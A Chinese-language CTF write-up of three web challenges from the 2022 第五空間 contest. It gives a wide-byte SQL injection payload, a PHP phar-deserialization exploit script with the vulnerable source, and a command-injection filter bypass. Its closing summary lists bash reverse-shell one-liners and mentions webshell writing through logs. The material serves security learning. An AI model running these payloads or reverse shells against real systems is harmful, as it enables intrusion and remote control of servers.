2022第五空間-web部分wp+復盤總結
打了一天,麻了,大佬tql,這次get到了不少東西,一是一個不太常見的寬位元組注入,我是真的沒想到,而且後面也是看了wp理解了好一會才弄明白。
0x01:
題目是一個登錄框,但是基本上是過濾掉了所有的常見注入的關鍵詞。實在是沒思路,後面看了大佬wp,才發現是寬位元組注入,同時還要利用虛擬表,同時還有mysql的hex編碼。
payload:
admin%df%27%09ununionion%09selselectect%091,2,0×6531306164633339343962613539616262653536653035376632306638383365#&password=123456
其中 0x6531306164633339343962613539616262653536653035376632306638383365 為 password=123456d的hex(md5(password)) 利用雙寫+寬位元組構造payload。
123456加密後的md5:e10adc3949ba59abbe56e057f20f883e
因為寬位元組的問題所以利用mysql 的hex編碼一下:
0x02:
一個phar讀取flag的操作,遇到這題的時候,phar差不多已經忘光了,首先掃目錄得到www.zip
拿到源碼進行簡單的審計:
開始以為是文件上傳,後面一看發現是構造phar直接讀。
得到class.php
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
構造payload:
<?php
class upload{
public $filename = "/flag";
}
#new Phar()這裡定義了生成的phar文件的名字(這裡定義的時候後綴是一定要.phar)
#實際上生成後後綴名也可以改(比如awsl.awsl也行),標誌該文件是phar文件的是下面的__HALT那裡
$phar =new Phar("awsl.phar");
$phar->startBuffering();
#這裡XXX的內容隨便寫,注意後面的XXX如果不用;來和__HALT分割記得留個空格隔開(個人覺得後面XXX還是寫個PHP語句好,省點麻煩)
#__HXXXX(注釋里直接用全稱會被識別)這一節在這個setStub這裡必須保證這個為結尾而且不可省,標誌這個為phar文件
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
#把要序列化的變數申明好(這裡只知道能放序列化的一個變數,不知道怎麼放多個(或許單個文件只能放一個序列化的變數))
$a = new upload();
#將目標變數存入(這裡自動把它序列化了)
$phar->setMetadata($a);
#這裡會按照文件名,文件內容的形式打包到phar文件中,當使用phar://awsl.phar://test.txt就會類似用include包含後面定義的程式碼(這裡文件名不影響是否解析
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
phar反序列化知識點可以看一下這篇文章:利用phar擴展PHP反序列化漏洞
放到本地運行一下,這裡記得需要在你PHP版本目錄下的php.ini
文件裡面把
phar.readonly = off
這一行的注釋給去掉,並且改成off
在本地運行php後,目錄下會生成一個.phar
的文件 因為phar是可以隨便修改為jpg
png
gif
的,所以這裡直接隨便改個後綴,然後上傳 再讀取的時候 get傳參 phar://upload/文件名.jpg
即可得到flag
0x03:
一個有趣的RCE
題
打開發現有個ping 操作。 結合經驗猜測是rce
,
爆破一下帳號密碼,得到帳號:admin
密碼:admin123
登錄後發現一樣的,也是ban掉了很多關鍵詞,利用字典fuzz
一波 這裡給大家推薦一個字典:Web Pentesting Fuzz 字典,一個就夠了。
這裡看到 %0a可以繞過。
這裡利用tac%09index.php
查看源碼
發現這裡過濾了好多命令,看到可疑的目錄kylin
但是他把kylin
給ban了,構造通配符直接進行flag
的讀取。
payload:
?ip=%0Acd%09ky?in%0aca\t%09*
成功得到flag:
構造其他payload可以大家可以參考一下這篇:RCE漏洞之繞過
總結:
這次還是學到不少東西,最後成績28,web隊里師傅們ak了 但是最後那個sql注入
我是現在還沒看懂,所以就沒總結了。收穫蠻大的。擴展了不少的思路,get
到了大佬平時的思路,rce
的那題,讀文件的時候,隊里師傅寫了個一句話木馬上去,ban了那麼多關鍵詞,我是怎麼也想不到怎麼寫上去的。按我平時的思路就是,利用常見的命令 例如echo
命令寫馬,但ban掉了不少東西, 同時,/
也被ban了,進目錄是沒法搞的。但是大佬的思路是啥,日誌寫馬,日誌寫馬倒也是想到過,可是我/
給我ban掉了,當時就沒想到怎麼給進目錄,那麼自然也就沒法寫馬了,完了請教大佬的時候,大佬給我的是這樣的:
思路是這樣的,但是這個繞過屬實是騷操作了。
另外還get到一個思路,就是平常的rce
如果是沒有過濾掉管道符這種,可以直接利用反彈shell
,直接讀flag
具體操作
這是linux的一些反彈shell
的命令,windows的大家可以自行百度。
常用的比如:
/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
等等,騷操作還有不少,還有一些空格的繞過之類的操作。可以百度一下,有不少文章可以借鑒參考。
思路真的很重要,有時候你只能卡在一個地方走不了, 而大佬可以各種騷操作繞過等。